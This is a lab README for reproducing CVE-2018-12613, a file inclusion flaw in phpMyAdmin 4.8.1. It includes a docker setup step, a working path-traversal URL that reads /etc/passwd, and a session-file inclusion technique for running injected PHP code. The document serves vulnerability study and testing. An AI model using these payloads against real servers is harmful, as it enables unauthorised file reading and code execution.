# phpmyadmin 4.8.1 Remote File Inclusion Vulnerability (CVE-2018-12613)

[中文版本(Chinese version)](README.zh-cn.md)

PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. The vulnerability is in the `index.php`, causing  files iclusion vulnerabilitiy.

Reference links:

- https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
- https://www.phpmyadmin.net/security/PMASA-2018-4/

## Setup

Run the following command to start phpmyadmin 4.8.1:

```
docker compose up -d
```

After the environment starts, visit `http://your-ip:8080`. The phpmyadmin is "config" mode, so we can login directly.

## Exploit

Visit `http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`, the result indicates that the file inclusion vulnerability exist:

![](1.png)

We can execute `SELECT '<?=phpinfo()?>';`, then check your sessionid (the value of phpMyAdmin in the cookie), and then include the session file:

![](2.png)